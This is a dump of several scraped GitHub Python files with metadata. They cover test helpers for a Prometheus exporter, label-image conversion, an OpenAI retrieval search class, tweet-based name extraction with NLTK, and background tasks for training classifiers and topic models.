"name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}]} {"seq_id": "2192680169", "text": "import logging\nimport os\nfrom typing import Callable, Dict, List, Tuple\nfrom unittest.mock import Mock, patch\n\nfrom prometheus_client.core import REGISTRY\n\nfrom pelorus import AbstractPelorusExporter, utils\n\n\ndef get_number_of_logs(\n log_record_tuples: List[Tuple[str, int, str]], level: int\n) -> int:\n return len([record for record in log_record_tuples if record[1] == level])\n\n\ndef get_number_of_error_logs(log_record_tuples: List[Tuple[str, int, str]]) -> int:\n return get_number_of_logs(log_record_tuples, level=logging.ERROR)\n\n\ndef get_number_of_info_logs(log_record_tuples: List[Tuple[str, int, str]]) -> int:\n return get_number_of_logs(log_record_tuples, level=logging.INFO)\n\n\ndef run_prometheus_register(collector: AbstractPelorusExporter) -> None:\n try:\n REGISTRY.register(collector)\n finally:\n REGISTRY.unregister(collector)\n\n\nclass MockExporter:\n def __init__(\n self, set_up: Callable[[], AbstractPelorusExporter], mock_kube_client=Mock()\n ) -> None:\n self.set_up = set_up\n self.mock_kube_client = mock_kube_client\n\n def run_app(self, arguments: Dict[str, str]) -> AbstractPelorusExporter:\n \"\"\"Run set up of exporter app with desired environment variables.\"\"\"\n try:\n collector = None\n logging.getLogger().disabled = False\n for key, value in arguments.items():\n os.environ[key] = value\n with patch.object(utils, \"get_k8s_client\") as mock_kube_client:\n mock_kube_client.return_value.resources.get.side_effect = (\n self.mock_kube_client\n )\n collector = self.set_up(prod=False)\n return collector\n finally:\n for key in arguments:\n del os.environ[key]\n if collector:\n REGISTRY.unregister(collector)\n logging.getLogger().disabled = True\n", "repo_name": "dora-metrics/pelorus", "sub_path": "exporters/tests/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1921, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 216, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 17, "usage_type": "name"}, {"api_name": "logging.ERROR", "line_number": 18, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 21, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pelorus.AbstractPelorusExporter", "line_number": 25, "usage_type": "name"}, {"api_name": "prometheus_client.core.REGISTRY.register", "line_number": 27, "usage_type": "call"}, {"api_name": "prometheus_client.core.REGISTRY", "line_number": 27, "usage_type": "name"}, {"api_name": "prometheus_client.core.REGISTRY.unregister", "line_number": 29, "usage_type": "call"}, {"api_name": "prometheus_client.core.REGISTRY", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 34, "usage_type": "name"}, {"api_name": "pelorus.AbstractPelorusExporter", "line_number": 34, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 34, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 39, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 43, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 45, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch.object", "line_number": 46, "usage_type": "call"}, {"api_name": "pelorus.utils", "line_number": 46, "usage_type": "argument"}, {"api_name": "unittest.mock.patch", "line_number": 46, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 54, "usage_type": "attribute"}, {"api_name": "prometheus_client.core.REGISTRY.unregister", "line_number": 56, "usage_type": "call"}, {"api_name": "prometheus_client.core.REGISTRY", "line_number": 56, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 57, "usage_type": "call"}, {"api_name": "pelorus.AbstractPelorusExporter", "line_number": 39, "usage_type": "name"}]} {"seq_id": "40823417783", "text": "import glob\nimport os\nimport sys\n\nimport process_labels\nfrom PIL import Image\nimport numpy as np\nimport concurrent.futures\n\nfrom pathlib import Path\n\n# convert labels in PRETTY colours (or PRETTY_FILMIC...) to greyscale 8 bits for mmseg\n\ndef to_greyscale_labels(png_file, out_folder):\n\n print (png_file)\n output_path = os.path.join(out_folder, os.path.basename(Path(png_file).name) )\n if os.path.exists(output_path) and os.path.getsize(output_path) > 0:\n return # already done, skip\n\n pretty = Image.open(png_file, \"r\")\n label = np.asarray ( pretty )[:,:,0:3]\n\n tol = 10\n\n pretty_map = process_labels.colours_for_mode(process_labels.PRETTY)\n output = np.zeros(pretty.size, dtype=int)\n\n for i, label_name in enumerate (process_labels.LABEL_SEQ_NO_DOOR):\n\n colour = np.array ( pretty_map[label_name] )\n equality = np.logical_and ( np.greater(label, colour-tol), np.less(label, colour+tol) )\n class_map = np.all(equality, axis=-1)\n# print (f\"{label_name} - {colour} :: {class_map.sum()}\")\n output = output * (1- class_map) # zero out any previous labels\n output = output + class_map * i # set greyscale label\n\n print (\"saving to %s\"%output_path)\n Image.fromarray(np.uint8(output)).save( output_path )\n\ndef to_color_labels(png_file, out_folder):\n\n print(png_file)\n output_path = os.path.join(out_folder, os.path.basename(Path(png_file).name))\n if os.path.exists(output_path) and os.path.getsize(output_path) > 0:\n return # already done, skip\n\n grey = Image.open(png_file, \"r\")\n label = np.asarray(grey)#[:, :, 0:3]\n color_seg = np.zeros((grey.size[0], grey.size[1], 3), dtype=np.uint8)\n\n for i, l_name in enumerate ( process_labels.LABEL_SEQ_NO_DOOR ):\n color = process_labels.colours_for_mode(process_labels.PRETTY)[l_name]\n color_seg[i == label, :] = color\n\n print(\"saving to %s\" % output_path)\n Image.fromarray(color_seg).save(output_path)\n # Image.fromarray(np.uint8(color_seg)).save(output_path)\n\n\nif __name__ == \"__main__\":\n\n _pool = concurrent.futures.ThreadPoolExecutor(max_workers=16)\n\n labels = []\n\n labels.extend(glob.glob(os.path.join( sys.argv[1], \"labels\", \"*.png\")))\n\n if True: # rgb to greyscale\n out_dir = os.path.join(sys.argv[1], \"labels_8bit\")\n fn = to_greyscale_labels\n else: # greyscale to rgb\n fn = to_color_labels\n out_dir = os.path.join(sys.argv[1], \"labels_pretty\")\n\n os.makedirs(out_dir, exist_ok=True)\n\n for lab in labels:\n fn (lab, out_dir )\n _pool.submit ( fn, lab, out_dir, )\n", "repo_name": "twak/fast_crop", "sub_path": "blender_labels_to_dataset.py", "file_name": "blender_labels_to_dataset.py", "file_ext": "py", "file_size_in_byte": 2601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 17, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 21, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 21, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 22, "usage_type": "call"}, {"api_name": "process_labels.colours_for_mode", "line_number": 26, "usage_type": "call"}, {"api_name": "process_labels.PRETTY", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "process_labels.LABEL_SEQ_NO_DOOR", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.greater", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.less", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 39, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 44, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 50, "usage_type": "attribute"}, {"api_name": "process_labels.LABEL_SEQ_NO_DOOR", "line_number": 52, "usage_type": "attribute"}, {"api_name": "process_labels.colours_for_mode", "line_number": 53, "usage_type": "call"}, {"api_name": "process_labels.PRETTY", "line_number": 53, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 57, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 57, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 63, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 63, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 63, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 76, "usage_type": "call"}]} {"seq_id": "29802826629", "text": "import openai\nimport tiktoken\nimport numpy as np\nimport os\nimport time\nimport logging\nimport re\n\n\nimport utils.langchain_helpers.simple_prompt \n\nfrom utils import openai_helpers\nfrom utils import redis_helpers\nfrom utils import helpers\n\n\n\nfrom langchain.prompts.chat import (\n ChatPromptTemplate,\n HumanMessagePromptTemplate,\n MessagesPlaceholder,\n SystemMessagePromptTemplate,\n)\n\n\nfrom utils.env_vars import *\n\n\nsystem_message = \"The assistant is a super helpful assistant that plays the role of a linguistic professor and has ultra high attention to details.\"\n\ninstruction = \"\"\"From the above Question and Current Conversation, output search keywords to use in a search engine to get an answer for the Question. If the Question is not related to the Current Conversation, then do not use the Current Conversation when generating the Search Keywords.\nSearch Keywords:\"\"\"\n\nbody = \"\"\"\nCurrent Conversation: \n{history}\n\nQuestion: {question}\n\"\"\"\n\ncontext_prompt = \"\"\"\n<|im_start|>\n{system_message}\n<|im_end|>\n<|im_start|>user \n\nCurrent Conversation: \n{history}\n\nQuestion: {question}\n\n{instruction}\n<|im_end|>\n<|im_start|>assistant\n\"\"\"\n\n\nclass OldSchoolSearch():\n\n\n def search(self, query, history, pre_context, filter_param=None, enable_unified_search=False, \n lc_agent = None, enable_cognitive_search=False, evaluate_step=True, \n topK=NUM_TOP_MATCHES, stream = False, verbose = False): \n \n redis_conn = redis_helpers.get_new_conn()\n\n completion_model = CHOSEN_COMP_MODEL\n embedding_model = CHOSEN_EMB_MODEL\n completion_enc = openai_helpers.get_encoder(completion_model)\n embedding_enc = openai_helpers.get_encoder(embedding_model)\n\n if verbose: print(\"Old Query: \", query)\n gen = openai_helpers.get_generation(completion_model)\n\n if history != '':\n \n if (gen == 4) or (gen == 3.5):\n messages = [\n SystemMessagePromptTemplate.from_template(system_message).format(),\n HumanMessagePromptTemplate.from_template(body).format(history=history, question=query),\n HumanMessagePromptTemplate.from_template(instruction).format(), \n ]\n messages = openai_helpers.convert_messages_to_roles(messages)\n query = openai_helpers.contact_openai(messages)\n else:\n prompt = context_prompt.format(system_message=system_message, \n history=history,\n question=query,\n instruction=instruction)\n query = openai_helpers.contact_openai(prompt)\n \n if (gen == 4) or (gen == 3.5):\n p = ''\n for m in utils.langchain_helpers.simple_prompt.get_simple_prompt('', '', '', ''): p += m['content']\n empty_prompt_length = len(completion_enc.encode(p))\n else:\n empty_prompt_length = len(completion_enc.encode(utils.langchain_helpers.simple_prompt.get_simple_prompt('', '', '', '')))\n\n\n if verbose: print(\"New Query: \", query)\n\n max_comp_model_tokens = openai_helpers.get_model_max_tokens(completion_model)\n max_emb_model_tokens = openai_helpers.get_model_max_tokens(embedding_model)\n\n if lc_agent.enable_unified_search:\n context = lc_agent.unified_search(query)\n elif enable_cognitive_search:\n context = lc_agent.agent_cog_search(query)\n # elif lc_agent.use_bing:\n # context = lc_agent.agent_bing_search(query)\n else: \n context = lc_agent.agent_redis_search(query)\n \n query = completion_enc.decode(completion_enc.encode(query)[:MAX_QUERY_TOKENS])\n history = completion_enc.decode(completion_enc.encode(history)[:MAX_HISTORY_TOKENS])\n pre_context = completion_enc.decode(completion_enc.encode(pre_context)[:PRE_CONTEXT])\n\n context_length = len(completion_enc.encode(context))\n query_length = len(completion_enc.encode(query))\n history_length = len(completion_enc.encode(history))\n pre_context_length = len(completion_enc.encode(pre_context))\n\n max_context_len = max_comp_model_tokens - query_length - MAX_OUTPUT_TOKENS - empty_prompt_length - history_length - pre_context_length - 1\n\n context = completion_enc.decode(completion_enc.encode(context)[:max_context_len])\n \n prompt = utils.langchain_helpers.simple_prompt.get_simple_prompt(context, query, history, pre_context) \n\n if verbose: \n print(\"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\")\n print(prompt) \n print(\"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\")\n\n if verbose: print(\"OSS OAI Call\")\n answer = openai_helpers.contact_openai(prompt, completion_model, MAX_OUTPUT_TOKENS, stream=stream, verbose=verbose)\n\n return answer", "repo_name": "samelhousseini/km-openai", "sub_path": "utils/langchain_helpers/oldschoolsearch.py", "file_name": "oldschoolsearch.py", "file_ext": "py", "file_size_in_byte": 4999, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 50, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.redis_helpers.get_new_conn", "line_number": 65, "usage_type": "call"}, {"api_name": "utils.redis_helpers", "line_number": 65, "usage_type": "name"}, {"api_name": "utils.openai_helpers.get_encoder", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 69, "usage_type": "name"}, {"api_name": "utils.openai_helpers.get_encoder", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 70, "usage_type": "name"}, {"api_name": "utils.openai_helpers.get_generation", "line_number": 73, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 73, "usage_type": "name"}, {"api_name": "langchain.prompts.chat.SystemMessagePromptTemplate.from_template", "line_number": 79, "usage_type": "call"}, {"api_name": "langchain.prompts.chat.SystemMessagePromptTemplate", "line_number": 79, "usage_type": "name"}, {"api_name": "langchain.prompts.chat.HumanMessagePromptTemplate.from_template", "line_number": 80, "usage_type": "call"}, {"api_name": "langchain.prompts.chat.HumanMessagePromptTemplate", "line_number": 80, "usage_type": "name"}, {"api_name": "langchain.prompts.chat.HumanMessagePromptTemplate.from_template", "line_number": 81, "usage_type": "call"}, {"api_name": "langchain.prompts.chat.HumanMessagePromptTemplate", "line_number": 81, "usage_type": "name"}, {"api_name": "utils.openai_helpers.convert_messages_to_roles", "line_number": 83, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 83, "usage_type": "name"}, {"api_name": "utils.openai_helpers.contact_openai", "line_number": 84, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 84, "usage_type": "name"}, {"api_name": "utils.openai_helpers.contact_openai", "line_number": 90, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 90, "usage_type": "name"}, {"api_name": "utils.langchain_helpers.simple_prompt.langchain_helpers.simple_prompt.get_simple_prompt", "line_number": 94, "usage_type": "call"}, {"api_name": "utils.langchain_helpers.simple_prompt.langchain_helpers", "line_number": 94, "usage_type": "attribute"}, {"api_name": "utils.langchain_helpers.simple_prompt", "line_number": 94, "usage_type": "name"}, {"api_name": "utils.langchain_helpers.simple_prompt.langchain_helpers.simple_prompt.get_simple_prompt", "line_number": 97, "usage_type": "call"}, {"api_name": "utils.langchain_helpers.simple_prompt.langchain_helpers", "line_number": 97, "usage_type": "attribute"}, {"api_name": "utils.langchain_helpers.simple_prompt", "line_number": 97, "usage_type": "name"}, {"api_name": "utils.openai_helpers.get_model_max_tokens", "line_number": 102, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 102, "usage_type": "name"}, {"api_name": "utils.openai_helpers.get_model_max_tokens", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 103, "usage_type": "name"}, {"api_name": "utils.langchain_helpers.simple_prompt.langchain_helpers.simple_prompt.get_simple_prompt", "line_number": 127, "usage_type": "call"}, {"api_name": "utils.langchain_helpers.simple_prompt.langchain_helpers", "line_number": 127, "usage_type": "attribute"}, {"api_name": "utils.langchain_helpers.simple_prompt", "line_number": 127, "usage_type": "name"}, {"api_name": "utils.openai_helpers.contact_openai", "line_number": 135, "usage_type": "call"}, {"api_name": "utils.openai_helpers", "line_number": 135, "usage_type": "name"}]} {"seq_id": "29753876786", "text": "import pandas as pd\n\nimport os\nimport pickle\n\nfrom nltk import bigrams\nfrom nltk.stem.lancaster import LancasterStemmer\nfrom nltk import pos_tag\n\n\"\"\"\nImplementation Notes\nThis script finds the names of the award winners for a particular ceremony.\nIt does so by extracting tweets with the action verb \"wins\" to limit the \nscope of the tweets that have to be searched through to those that are most\nrelevant to the context. Afterwards, bigrams are generated from the text of\nthese tweets. The bigrams contain tuples like ('best', 'actor') or ('Emma', 'Stone').\nThese bigrams are then passed to a Parts-of-Speeech tagger. The POS tagger will\ntag bigrams with names of individuals with the 'PERSON' tag and generate a\nnew tuple like ('Emma', 'Person'). The tagged bigrams are then filtered to exclude\nany that don't contain 'PERSON' as the tag for both words in the bigram and\nthe extracted words are treated as the names of the winner and printed out.\n\nNote that this implementation does take a while to run. The bulk of the compute\ntime is spent tagging the bigrams using the Stanford POS Tagger. To elleviate this,\nafter the initial run the list of named bigrams is pickled to a file.\n\"\"\"\n\n\nPREPROCESSED_DATA_FILE = 'data_preprocessed.p'\nPREPROCESSED_DF = pd.read_pickle(PREPROCESSED_DATA_FILE)\nLAST_NAMES = open(\"surnames.txt\").read().splitlines()\nFIRST_NAMES = open(\"firstnames.txt\").read().splitlines()\nFIRST_NAMES = list(map(str.strip, FIRST_NAMES))\n\n\ndef filter_dataframe():\n \"\"\"\n Extract the tweets that contain verbs relevant to winning.\n \"\"\"\n df_remove_null = PREPROCESSED_DF.dropna()\n return df_remove_null[df_remove_null['tokens'].str.contains(\"congratulations\")]\n\ndef extract_names(bigrams):\n \"\"\"\n Tag each of the bigram tuples with the appropriate Part of Speech.\n \"\"\"\n named_bigrams = []\n NUM_BIGRAMS = len(bigrams)\n stemmer = LancasterStemmer()\n for index, bigram in enumerate(bigrams):\n if bigram[0].upper() in FIRST_NAMES:\n person = \" \".join(bigrams[index])\n # If a winner is already on the list, don't add them\n if person not in named_bigrams:\n named_bigrams.append(person.title())\n\n return named_bigrams\n\ndef get_bigrams(tweets):\n \"\"\"\n Generate bigrams for each tweet.\n \"\"\"\n split_tweets = [tweet.split(\" \") for tweet in tweets]\n tweet_bigrams = []\n for tweet in split_tweets:\n tweet_bigrams.extend(list(bigrams(tweet)))\n return list(set(tweet_bigrams))\n\ndef find_award_winners():\n \"\"\"\n Main function that runs through the process of filtering the dataframe,\n extracting bigrams, tagging the bigrams using POS, and then filtering the\n tags that are labelled 'PERSON'.\n \"\"\"\n df = filter_dataframe()\n bigrams = get_bigrams(df['tokens'].tolist())\n\n named_bigrams = extract_names(bigrams)\n\n print(\"Award Winners\")\n # Remove duplicate names in winners list\n for index, name in enumerate(named_bigrams):\n print(index + 1, name)\n\nif __name__ == '__main__':\n find_award_winners()\n", "repo_name": "captainsafia/eecs337-golden-globes", "sub_path": "award_winners.py", "file_name": "award_winners.py", "file_ext": "py", "file_size_in_byte": 3054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_pickle", "line_number": 30, "usage_type": "call"}, {"api_name": "nltk.bigrams", "line_number": 48, "usage_type": "argument"}, {"api_name": "nltk.stem.lancaster.LancasterStemmer", "line_number": 49, "usage_type": "call"}, {"api_name": "nltk.bigrams", "line_number": 50, "usage_type": "argument"}, {"api_name": "nltk.bigrams", "line_number": 52, "usage_type": "name"}, {"api_name": "nltk.bigrams", "line_number": 66, "usage_type": "call"}, {"api_name": "nltk.bigrams", "line_number": 76, "usage_type": "name"}, {"api_name": "nltk.bigrams", "line_number": 78, "usage_type": "argument"}]} {"seq_id": "25363511563", "text": "\"\"\"Tasks done in background by Rq.\n\nThis file must NOT be imported by app.py, or by any import thereof, because it will cause\na cyclic import.\n\nThe functions within are referred with qualified \"Python paths\"\n(eg., \"flask_app.modeling.tasks.do_classifier_related_task\"). Rq supports that.\n\"\"\"\nimport logging\nimport typing as T\n\nfrom flask import url_for\n\nimport flask_app\nfrom flask_app import emails\nfrom flask_app.database import models\nfrom flask_app.modeling.classifier import ClassifierModel\nfrom flask_app.modeling.lda import Corpus\nfrom flask_app.modeling.lda import LDAModeler\nfrom flask_app.modeling.queue_manager import ClassifierPredictionTaskArgs\nfrom flask_app.modeling.queue_manager import ClassifierTrainingTaskArgs\nfrom flask_app.modeling.queue_manager import TopicModelTrainingTaskArgs\nfrom flask_app.settings import Settings\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\n\n@flask_app.app.needs_app_context\ndef do_classifier_related_task(\n task_args: T.Union[ClassifierTrainingTaskArgs, ClassifierPredictionTaskArgs],\n) -> None:\n if task_args[\"task_type\"] == \"prediction\":\n test_set = models.TestSet.get(models.TestSet.id_ == task_args[\"test_set_id\"])\n assert test_set.inference_began\n assert not test_set.inference_completed\n\n try:\n classifier_model = ClassifierModel(\n labels=task_args[\"labels\"],\n model_path=task_args[\"model_path\"],\n cache_dir=task_args[\"cache_dir\"],\n )\n\n classifier_model.predict_and_save_predictions(\n test_set_path=task_args[\"test_file\"],\n content_column=Settings.CONTENT_COL,\n predicted_column=Settings.PREDICTED_LABEL_COL,\n output_file_path=task_args[\"test_output_file\"],\n )\n except BaseException as e:\n logger.critical(f\"Error while doing prediction task: {e}\")\n test_set.error_encountered = True\n else:\n test_set.inference_completed = True\n emailer = emails.Emailer()\n emailer.send_email(\n email_template_name=\"classifier_inference_finished\",\n to_email=test_set.notify_at_email,\n classifier_name=test_set.classifier.name,\n predictions_url=url_for(\n \"ClassifiersTestSetsPredictions\",\n classifier_id=test_set.classifier.classifier_id,\n test_set_id=test_set.id_,\n file_type=Settings.DEFAULT_FILE_FORMAT.strip(\".\"),\n _method=\"GET\",\n ),\n )\n finally:\n test_set.save()\n\n elif task_args[\"task_type\"] == \"training\":\n assert task_args[\"task_type\"] == \"training\"\n clsf = models.Classifier.get(\n models.Classifier.classifier_id == task_args[\"classifier_id\"]\n )\n assert clsf.train_set is not None\n assert clsf.dev_set is not None\n\n try:\n classifier_model = ClassifierModel(\n labels=task_args[\"labels\"],\n num_train_epochs=task_args[\"num_train_epochs\"],\n model_path=task_args[\"model_path\"],\n train_file=task_args[\"train_file\"],\n dev_file=task_args[\"dev_file\"],\n cache_dir=task_args[\"cache_dir\"],\n output_dir=task_args[\"output_dir\"],\n )\n metrics = classifier_model.train_and_evaluate()\n except BaseException as e:\n logger.critical(f\"Error while doing classifier training task: {e}\")\n clsf.train_set.error_encountered = True\n clsf.dev_set.error_encountered = True\n else:\n clsf.train_set.training_or_inference_completed = True\n clsf.dev_set.training_or_inference_completed = True\n clsf.dev_set.metrics = models.ClassifierMetrics(**metrics)\n clsf.dev_set.metrics.save()\n emailer = emails.Emailer()\n emailer.send_email(\n email_template_name=\"classifier_training_finished\",\n to_email=clsf.notify_at_email,\n classifier_name=clsf.name,\n metrics=T.cast(T.Dict[str, float], metrics),\n )\n\n finally:\n clsf.dev_set.save()\n clsf.train_set.save()\n clsf.save()\n\n\n@flask_app.app.needs_app_context\ndef do_topic_model_related_task(task_args: TopicModelTrainingTaskArgs) -> None:\n topic_mdl = models.TopicModel.get(\n models.TopicModel.id_ == task_args[\"topic_model_id\"]\n )\n assert topic_mdl.lda_set is not None\n try:\n corpus = Corpus(\n file_name=task_args[\"training_file\"],\n content_column_name=Settings.CONTENT_COL,\n id_column_name=Settings.ID_COL,\n )\n lda_modeler = LDAModeler(\n corpus,\n iterations=task_args[\"iterations\"],\n mallet_bin_directory=task_args[\"mallet_bin_directory\"],\n )\n except BaseException as e:\n logger.critical(f\"Error while doing lda training task: {e}\")\n topic_mdl.lda_set.error_encountered = True\n else:\n metrics = lda_modeler.model_topics_to_spreadsheet(\n num_topics=topic_mdl.num_topics,\n default_topic_names=topic_mdl.topic_names,\n fname_keywords=task_args[\"fname_keywords\"],\n fname_topics_by_doc=task_args[\"fname_topics_by_doc\"],\n )\n topic_mdl.lda_set.metrics = models.TopicModelMetrics.create(**metrics)\n topic_mdl.lda_set.lda_completed = True\n emailer = emails.Emailer()\n emailer.send_email(\n email_template_name=\"topic_model_training_finished\",\n to_email=topic_mdl.notify_at_email,\n topic_model_name=topic_mdl.name,\n topic_model_preview_url=f\"http://{Settings.SERVER_NAME}/topicModelPreviews.html?topic_model_id={topic_mdl.id_}\",\n metrics=T.cast(T.Dict[str, T.Union[int, float]], metrics),\n )\n\n finally:\n topic_mdl.lda_set.save()\n", "repo_name": "dnaaun/openFraming", "sub_path": "services/web/backend/flask_app/modeling/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 6073, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 27, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask_app.modeling.queue_manager.ClassifierTrainingTaskArgs", "line_number": 32, "usage_type": "name"}, {"api_name": "flask_app.modeling.queue_manager.ClassifierPredictionTaskArgs", "line_number": 32, "usage_type": "name"}, {"api_name": "flask_app.database.models.TestSet.get", "line_number": 35, "usage_type": "call"}, {"api_name": "flask_app.database.models.TestSet", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask_app.database.models", "line_number": 35, "usage_type": "name"}, {"api_name": "flask_app.modeling.classifier.ClassifierModel", "line_number": 40, "usage_type": "call"}, {"api_name": "flask_app.settings.Settings.CONTENT_COL", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask_app.settings.Settings", "line_number": 48, "usage_type": "name"}, {"api_name": "flask_app.settings.Settings.PREDICTED_LABEL_COL", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask_app.settings.Settings", "line_number": 49, "usage_type": "name"}, {"api_name": "flask_app.emails.Emailer", "line_number": 57, "usage_type": "call"}, {"api_name": "flask_app.emails", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 62, "usage_type": "call"}, {"api_name": "flask_app.settings.Settings.DEFAULT_FILE_FORMAT.strip", "line_number": 66, "usage_type": "call"}, {"api_name": "flask_app.settings.Settings.DEFAULT_FILE_FORMAT", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask_app.settings.Settings", "line_number": 66, "usage_type": "name"}, {"api_name": "flask_app.database.models.Classifier.get", "line_number": 75, "usage_type": "call"}, {"api_name": "flask_app.database.models.Classifier", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask_app.database.models", "line_number": 75, "usage_type": "name"}, {"api_name": "flask_app.database.models.Classifier", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask_app.database.models", "line_number": 76, "usage_type": "name"}, {"api_name": "flask_app.modeling.classifier.ClassifierModel", "line_number": 82, "usage_type": "call"}, {"api_name": "flask_app.database.models.ClassifierMetrics", "line_number": 99, "usage_type": "call"}, {"api_name": "flask_app.database.models", "line_number": 99, "usage_type": "name"}, {"api_name": "flask_app.emails.Emailer", "line_number": 101, "usage_type": "call"}, {"api_name": "flask_app.emails", "line_number": 101, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 106, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask_app.app", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask_app.modeling.queue_manager.TopicModelTrainingTaskArgs", "line_number": 116, "usage_type": "name"}, {"api_name": "flask_app.database.models.TopicModel.get", "line_number": 117, "usage_type": "call"}, {"api_name": 